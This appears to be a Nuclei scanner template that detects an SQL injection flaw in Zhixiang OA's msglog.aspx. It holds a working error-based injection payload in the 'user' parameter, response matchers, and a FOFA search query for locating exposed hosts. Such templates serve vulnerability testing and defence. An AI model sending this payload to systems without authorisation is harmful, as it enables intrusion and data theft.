id: zhixiang-oa-msglog-sqli

info:
  name: Zhixiang OA msglog.aspx - SQL injection
  author: SleepingBag945
  severity: high
  description: There is a SQL injection vulnerability in the msglog.aspx file of Zhixiang OA. Attackers can obtain sensitive information through the vulnerability.
  reference:
    - http://wiki.peiqi.tech/wiki/oa/%E8%87%B4%E7%BF%94OA/%E8%87%B4%E7%BF%94OA%20msglog.aspx%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E8%87%B4%E7%BF%94OA/%E8%87%B4%E7%BF%94OA%20msglog.aspx%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="致翔软件-致翔OA"
  tags: hongfan,oa,sqli

http:
  - raw:
      - |
        GET /mainpage/msglog.aspx?user=1%27%20and%201=convert(int,(select%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27127381%27))))-- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
          - 'contains(body, "43f845fa0c8aef9104f8e1b07625ecf8")'
          - 'contains(header, "text/html")'
        condition: and
# digest: 4a0a00473045022046cf60411738d4ea3dd4434912beebc1fcd2a9976af92c3d88917aa3b274c2e5022100cda58d712ed2dfecc3a13e9a3a5a88afa001c195ee9c5d06a697c8b75022ea77:922c64590222798bb761d5b6d8e72950